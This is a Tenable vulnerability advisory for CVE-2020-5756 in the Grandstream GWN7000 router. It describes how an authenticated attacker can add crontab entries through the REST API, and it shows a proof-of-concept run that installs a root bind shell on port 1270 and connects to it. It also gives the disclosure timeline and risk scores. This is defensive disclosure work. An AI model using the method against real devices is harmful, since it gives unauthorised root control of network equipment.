Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Grandstream GWN7000 Authenticated Command Execution

Critical

Synopsis

Tenable found that the Grandstream Enterprise Multi-WAN Gigabit VPN Router (GWN7000) version 1.0.9.4 and before is vulnerable to authenticated OS command execution. The GWN7000 web interface is built on top of OpenWrt's LuCI2 framework. Part of the builtin LuCI2 functionality includes Crontab management via a REST API. As such, an authenticated remote attacker can add arbitrary entries to the GWN7000's crontab. Modification of the crontab persists through reboots.

Tenable developed a proof of concept for this issue. You can find it on our GitHub. The proof of concept adds a cron to start a root bind shell on port 1270 and restarts the device. Sample output follows:

albinolobster@ubuntu:~$ telnet 192.168.1.1 1270
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Connection refused
albinolobster@ubuntu:~$ python3 gwn7000_cron_set.py --rhost 192.168.1.1 --password labpass1
[+] Sending login to https://192.168.1.1:443/ubus/session.login
Success! The session id is a87cbbae17a84b045ad6cde718ebbb6d
[+] Adding a telnet listener to the device's crontab
[+] Success!
[+] Rebooting the device to force crontab processing
[+] Device is rebooting... script complete!
albinolobster@ubuntu:~$ telnet 192.168.1.1 1270
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.


BusyBox v1.23.2 (2018-05-17 14:35:51 CDT) built-in shell (ash)

~ # uname -a
Linux Grandstream 3.14.43 #1 SMP PREEMPT Wed Aug 15 15:14:30 CDT 2018 armv7l GNU/Linux

Note: Tenable chose CWE-912 over the NVD-assigned CWE-78 for CVE-2020-5756 due to the following:

  • CWE-78 pertains to OS command injection when "it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command". This is not an OS command injection vulnerability, but the valid use of an undocumented (in the case of the GWN7000) and dangerous REST API feature.

Solution

At the time of publication, no solution exists.

Disclosure Timeline

04/06/2020 - Reported via helpdesk.
04/06/2020 - Grandstream reports issues with reproducing.
04/07/2020 - Tenable asks clarification question.
04/07/2020 - Grandstream provides a video.
04/07/2020 - Tenable indicates it's a firewall issue. The bindshell is accessible on a port blocked by the WAN firewall. Grandstream should be able to reach it via the LAN side.
04/07/2020 - Grandstream indicates they will test further.
06/22/2020 - Tenable asks for an update.
06/24/2020 - Grandstream indicates the issues is not yet fixed.
06/24/2020 - Tenable reminds Grandstream of the upcoming deadline.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-5756
Tenable Advisory ID: TRA-2020-39
Credit:
Tenable
CVSSv2 Base / Temporal Score:
9.0 / 8.5
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products:
Grandstream GWN7000 1.0.9.4 and below
Risk Factor:
Critical

Advisory Timeline

07/06/2020 - Initial Release
11/19/2020 - Added note regarding CWE choice